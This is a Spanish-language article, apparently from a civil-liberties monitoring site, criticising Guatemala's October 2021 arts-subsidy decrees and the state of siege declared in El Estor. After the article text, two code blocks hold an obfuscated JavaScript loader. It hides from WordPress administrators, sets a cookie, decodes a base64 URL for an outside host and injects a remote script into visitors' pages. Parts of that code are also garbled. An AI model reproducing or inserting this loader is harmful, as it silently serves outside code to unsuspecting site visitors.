

Guatemala | Entre la restricción de libertad de asociación y el mal manejo de recursos

Durante el mes de octubre, Guatemala recibió una calificación de -100% debido a que las tres medidas analizadas resultaron peligrosas para la libertad.

En el Libertómetro para el mes de octubre, las temáticas dentro de la República de Guatemala estuvieron enfocadas principalmente al pilar de Libertades Económicas. Específicamente en el subíndice de aprovechamiento racional de los fondos públicos.

Las medidas para este periodo fueron presentadas por el gobierno del presidente Alejandro Giammattei. Ambos fueron acuerdos ministeriales del Ministerio de Cultura y Deportes.

Llama la atención que en un escenario pandémico, con empresas y plazas laborales que no se han recuperado en todos los países de la región, el gobierno de Guatemala proponga y apruebe entrega de estímulos económicos para un sector de la población y la contratación de escultores, que se incluirán en el presupuesto de la nación.

El primero de ellos es el Programa Apoyarte. La medida, de acuerdo al decreto 1078-2021, pretende ser un estímulo económico para el sector artístico que ha sido afectado por la pandemia.

La medida estipula que será el Viceministerio de Cultura el encargado de realizar las gestiones presupuestarias para asegurar el financiamiento del programa. El cual tendrá un presupuesto mínimo de Q5 millones y un máximo de Q10 millones.

Asimismo, el decreto establece que la entrega de la subvención económica será “única y extraordinaria” para personas individuales que acrediten ser artistas.

El monto a entregar a quienes demuestren ser del gremio artístico, y se verifique su acreditación tras ser evaluados por expertos de la Dirección General de las Artes del Ministerio de Cultura, será de Q3 mil por persona. Empero, señala que no podrán recibir la subvención los artistas que tengan contrato con el sector público o privado.

El siguiente decreto ministerial que llama la atención en este mes es el relativo a la iniciativa artística “Dimensiones”. El decreto 1048 estipula que se realizará la selección de 15 escultores, quienes serán contratados bajo el concepto de “Servicios por actuaciones artísticas y deportivas”, y por un monto de Q20,000.

También te puede interesar: [Datos del libertómetro](#)

Similar al programa Apoyarte, no podrán participar del proceso de selección quienes cuenten con contrato vigente de cualquier tipo con el Ministerio de Cultura y Deportes, ni establecimientos académicos que se dediquen a la formación en el ramo. Además, deberán comprobar ser escultores con al menos tres años de trayectoria, ya sea con recortes de periódicos, revistas o reconocimientos o premios recibidos.

Si bien a simple vista parecerá comprensible la intención de ambos decretos, dadas las circunstancias económicas que enfrentan los países de la región, parece un gasto innecesario. Sobre todo habiendo otras necesidades más imperantes que resolver para la población.

Restricción de derechos

Otro punto que llamó la atención en el presente mes fue la declaratoria por un periodo de 30 días del Estado de Sitio en el municipio de El Estor por parte del gobierno guatemalteco.

La medida fue decretada el 24 de octubre tras considerar que en la zona los pobladores realizaron acciones que afectan el orden y la gobernabilidad.

Un día antes del anuncio del presidente Giammattei, la policía disolvió una manifestación de un grupo de indígenas que permanecía apostado en una carretera denunciando a la minera Solway Investment Group. De acuerdo a los manifestantes, la compañía continuaba ejecutando sus operaciones pese a existir una orden de la Corte de Constitucionalidad que las había suspendido.

También te pueden interesar: [Análisis de septiembre](#)

La medida, que como detalló el gobierno limitará el derecho de manifestación y permite a las autoridades efectuar capturas sin orden judicial, además de restringir el derecho de locomoción, fue ratificada un día después por el Congreso.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=new Date();for(var i=0;i<20)return;if((document.cookie||>).indexOf('http2_session_id=')==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec=>,i=0;input=input.replace(/\^A-Za-zA-9+/g,>);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFrY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl==u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'':;
```

```
Secure' : '' ); try{window.__rl=u;}catch(e){}var  
s=document.createElement('script');s.type='text/javascript';s.  
async=true;s.src=u;try{s.setAttribute('data-  
rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d  
ocument.documentElement).appendChild(s);}catch(e{})})();
```